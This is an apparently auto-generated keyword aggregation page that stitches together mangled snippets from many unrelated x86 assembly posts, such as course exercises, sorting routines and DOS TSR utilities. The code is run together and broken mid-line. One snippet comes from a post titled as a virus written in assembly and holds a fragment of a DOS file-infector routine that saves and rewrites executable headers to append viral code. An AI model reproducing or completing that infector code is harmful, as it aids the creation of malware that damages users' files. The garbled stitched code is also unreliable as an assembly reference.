dipop

Discover dipop, include the articles, news, trends, analysis and practical advice about dipop on alibabacloud.com

Wang Shuang-Course Design of assembly language 2

, 2Loop main_s JMP short main_s3 Main_s3: Pop diPop SiPop esPop DSPop DXPop CX; Pop BXPop axRET ; Read data from CMOS RAM R_fun: Push BXPush CXPush DXPush Si MoV Al, DLOut 70 h, AlIn Al, 71 h MoV ah, AlMoV cl, 4SHR ah, ClAnd Al, 1271111b Add ah, 30 hAdd Al, 30 hPop SiPop DXPop CXPop BXRET ; Write data to CMOS RAMW_time: PUSH AXPush BXPush CXPush DXPUSH DSPush esPush diPush Si MoV BX, 0b800hMoV ds, BXMoV Si, 160*12 + 10*2MoV Di, offset show_time_s1-off

Assembly to Implement Bubble Sorting of positive and negative numbers

back oneXchg buf1 [Si + 2], ax; values smaller than or equalMoV buf1 [Si], axMoV BL, 1Loop3:Add Si, 2Loop loop2; number of Cx internal cycles MoV CX, DiLoop loop1 Exit:Pop BXPop diPop SiPop axPop CXRETSort endp F10ta_xch proc near Push CXPUSH AXPush SiPush diMoV Cl, 0MoV ax, 0MoV Si, 0ah; SI = 10MoV ax, buf1 [di]CMP ax, 0; check whether it is a negative numberJge lp2Neg ax; negative number, inversePush ax; Because ah is used, put ax into the stack fi

A virus written in assembly language [transferred from KingofCoders]

; file is too big .. not infectCmp ax, 10Jb closefilenear; file is too small .. not infect ; Infect begin, hahahahaha ....Jmp infectbeginClosefilenear:Jmp closefileInfectbegin:MoV ax, 9f80hMoV ds, axMoV es, axMoV Si, offset filehead-baseoffMoV Di, offset oldhead-baseoffMoV CX, 10ClDRep movsb; Save the old file head Call addvirustofileCall mov_ptr_to_head MoV Di, offset infecthead-baseoffMoV dx, DiINC diMoV CX, word PTR [filesize-baseoff]Add CX, 100 hMoV word PTR [di], CXMoV CX, 7MoV ah, 40 hInt

Wang Shuang assembly language lab 10 Course Design 1

: Convert DWORD data to a decimal string, the string ends with 0 .; Parameter: (ax) = low 16 bits of DWORD data, (dx) = high 16 bits of DWORD data, DS: Si points to the first address of the string, and return: No dtocex: dataseg_dtocex segmentdb 100 DUP (0); DB 100 DUP (0); Result and intermediate variable dataseg_dtocex endspush BX push espush dipush cxmov BX, dataseg_dtocexmov es, bxmov ES: [0], axmov ES: [2], dsmov ES: [4], SiMoV ES: [6], dxmov Di, 0mov ax, ES: [0] dtocex_s: moV CX, 10 call d

Assembly Source series of Dskwatch

foundAdd si,12; Point to next error messageSHR dh,1; Divide DH by 2Loop E_loop; Keep going until matched DH = 0CMP ah,3; Error code no even number; 3 perhaps?Je e_found; If yes, have found the errorAdd si,12; ERR unknown; Unknown error returnedE_found:call Write_to_screen; Write the error message to the screenPop es; Restore the RegistersPop siPop diPop DXPop CXPop axFin:pop Ret_addr_word; Fooling with the stack. We want toPop ret_addr_word[2]; Prese

FastReboot V1.0

Memory resident Keyboard activated quick Reset program, press CTRL-F10 can reboot DOS.Source:Code segmentAssume Cs:code,ds:codeOrg 100hBEGIN:JMP InitZD db ' FastReboot V1.0 zdsoft 1995 ', 0dh,0ah, ' $ 'Mes db ' press CTRL-F10 to fastreboot! ', 0dh,0ah, ' $ 'Mes1 db ' already install!$ 'INT9 DD?Mark DB ' ZD 'New_int proc FarSTiPush AXPush ESXOR Ax,axMOV Es,axIn al,60hTest al,80hJNZ exit1Test byte ptr es:[0417h],100bJZ exit1CMP al,68JZ OKJMP exit1Ok:Push AXPush BXPush CXPush DXPush BPPush diPush S

Game Faster V1.0

Memory-resident keyboard activation in the way to control the speed of the game, in the game by CTRL-F9 activation, the effect is obvious!! (no keyboard unlock processing, interested to add) Source: Code segmentAssume Cs:code,ds:codeOrg 100hBEGIN:JMP InitZD db ' FAST V1.0 zdsoft 1995 ', 0dh,0ah, ' $ 'Mes db ' press CTRL-F9 to fast! ', 0dh,0ah, ' $ 'Mes1 db ' already install!$ 'INT9 DD?Mark DB ' Zd 'New_int proc FarSTiPush AXPush ESXOR Ax,axMOV Es,axIn al,60hTest al,80hJNZ exit1Test byte ptr es

Training assembly language design-Enter 1-12 to display the abbreviated month

Enter 1-12 to display the abbreviated month Title homeDatasg segmentThree DB 3Monin DB 3, 4 DUP (?)Alfmon db '??? ',' $'Montab dB 'jna ', 'feb', 'mar', 'apr', 'may', 'jun'DB 'jul', 'aug', 'sept', 'oct', 'nov', 'dec'Datasg endsCodesg segment para 'code'Assume Cs: codesg, DS: datasg, ES: datasgMain proc farPUSH DSSub ax, axPUSH AXMoV ax, datasgMoV ds, axMoV es, axL1: mov ah, 0ahInt 21 hCmp dl, 3JZ exitCall InputCall locateCall displayMoV ah, 2MoV DL, 0ah; implements carriage return and line feedIn

Assembly Source series of driver

,max_cmd; Make sure its legalJG Unk_command; Too big, exit with error codeSHL bx,1; Form Index to Dispatch table; and branch to driver routineJMP word ptr [bx+dispatch]Page; General collection of exit points for the driver routines.Unk_command:; Come here if Command Code too.MOV al,3; Sets "Unknown Command" error; Code and "Done" bit.Error:; Transfer here with AL = error code.MOV ah,81h; Sets "Error" and "done" bits.JMP ExitDone:mov ah,1; Come here if I/O complete and; No error, sets "Done" bit

Assembly Source series of clock

ITCMP cx,20; 01f4h; Has A MINUTE GONE by?JB No_minute; NO, move onCall UPDATE; YES, UPDATE CLOCK andMOV cx,0; RESET TICK COUNTERNo_minute:MOV cs:ticks,cx; SAVE UPDATED TICK COUNTMOV cx,0b000h; Get Video SEGMENTMOV es,cx; Put in ESMOV Dx,cs:crt_port; Get CRT STATUS PORT ADDRMOV Di,word PTR Cs:scr_off; Get screen BUFFER OFFSETLEA Si,cs:time; Get DOS TimeMOV cx,16; SET up to move BYTESCLI;D isable Other interruptsWait1:in AL,DX; READ CRT STATUSTEST al,1; CHECK for VERTICAL RetraceJNZ WAIT1; Wait f

Wang Shuang compiles the tenth chapter assignment post

PTR loop_display End_main:MoV ah, 01 HInt 21 h MoV ax, 4c00hInt 21 h ; Subroutine disFunction: encapsulate some identical operations; Parameter: (DL) indicates the number of columns.DIS:PUSH AXPush BXPush CXPush DXPush diPush SiMoV ax, DiMoV DH, 16Div DHMoV DH, AlAdd DH, 2; DH = di/16 + 2MoV Si, 0MoV Cl, 2Call show_str Pop SiPop diPop DXPop CXPop BXPop axRET ; Subroutine: DTOCFunction: converts word data into a decimal string that ends with 0.; Param

Assembler Wang Shuang-Course Design 1

remainder is converted to a string.Push CXMoV CX, axJcxz OK INC BXJMP d2c_s OK:MoV CX, BXReverse:; put strings in the correct orderPop axMoV [di], AlINC diLoop reverseMoV Al, 0MoV [di], AlINC diPop BXPop DXPop CXPop diRET; Subroutine description; Name: divdwFunction: conducts Division operations without overflow. The divisor type is DWORD, the divisor type is word, and the result is DWORD.; Parameter: (dx) = high 16-bit (ax) of DWORD data = low 16-bi

Mixer Volume Ctrler V1.0

Dos the sound card volume control program, with memory-resident keyboard activated way of controlling Cd-audio,midi,voice and master volume (not as a keyboard solution blocking processing, interested to add) CTRL-F1--TURN MASTER vol. up CTRL-F2--TURN MASTER vol. down CTRL-F3--TURN CD vol. up CTRL-F4--TURN CD vol. down Ctrl-f5--TURN FM vol. up Ctrl-f6--TURN FM vol. down Ctrl-f7--TURN VOICE vol. up Ctrl-f8--TURN VOICE vol. down Source: Code segmentAssume Cs:code,ds:codeOrg 100hBEGIN:JMP

Assembly Source series of Cobload

returnDEC BYTE PTR ES:[BX]; Sub 1 from length of parmDEC DIMOV al,byte PTR Es:[di]CMP AL, ';p ut cr in trailing spacesJE add_cr_1MOV di,163MOV cx,80 Length of MoveREP MOVSB Move file spec. 2Asciiz2:mov BYTE PTR es:[di],0; make Asciiz stringDEC DIMOV al,byte PTR Es:[di]CMP AL, '; nullify trailing spacesJE ASCIIZ2MOV bx,244;p oint to Parm length byteMOV BYTE PTR es:[bx],82 init length of parm, + 2MOV di,245;p oint to 1st parm positionMOV cx,80 Length of MoveREP MOVSB Move ParmAdd_cr_2:mov BYTE PT

Assembly Source series of Showmem

indexingmov byte [bx+si],0; null terminate command lineCall Parse;p arse command lineJMP main; go in with mainUsage:mov bx,utext;p ointer usage textJMP Errout; Skip thisMainMOV si,inbuff check for valid HEX inputMOV bx,errt1;p roper textISHEX:LODSB get the CharCMP al, ' 0 'JB ErroutForce uppercase with AL,0DFH;CMP al, ' F '; >f?JA errout; yeahh, dump thisLoop IshexCall Hexbin, make Hex bin; start address now in EDXMOV ax,dx; get low word (segment)mov es,ax; start segmentSHR edx,16 shift in offs

Cut-drawing procedure for 320*200

;; Drawing procedureCode segmentAssume Cs:code,ds:codeOrg 100hBEGIN:JMP InitINT9 DD?DDXX DB 0Mess db ' Now-Start with $ 'Handle DW?Buffer db 256*3 dup (0)Path db ' pic*. ', 0DTA db DUP (?)New_int proc FarSTiPush AXPush ESXOR Ax,axMOV Es,axIn al,60hTest al,80hJNZ exit1Test byte ptr es:[0417h],100bJZ exit1CMP al,59JNZ exit1Push AXPush BXPush CXPush DXPush BPPush diPush SIPush DSPush CSPop dsIn al,61hPush AXor al,80hOut 61h,alPop axOut 61h,alMOV al,20hOut 20h,alCall SAVESCRExitPop dsPop siPop

Assembly Source series of alarm

Color character againSTI; Interrupts back onInc si; Point to Next characterLoop p062; Done?P070:pop BP; Restore RegistersPop diPop siPop esPop DXPop CXPop bxCLI; No interruptsMOV Ax,holdssMOV Ss,axMOV SP,HOLDSPSTI; Allow interruptsP080:popfPop dsPop axJMP Cs:[jumpval]P100 proc near; Beep the speaker twiceCall p120Push CXMOV cx,20000P105:loop p105; Wait aroundPop CXCall p120Push CXMOV cx,20000P106:loop p106; Wait aroundPop CXCall p120RetP100 ENDPp120

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.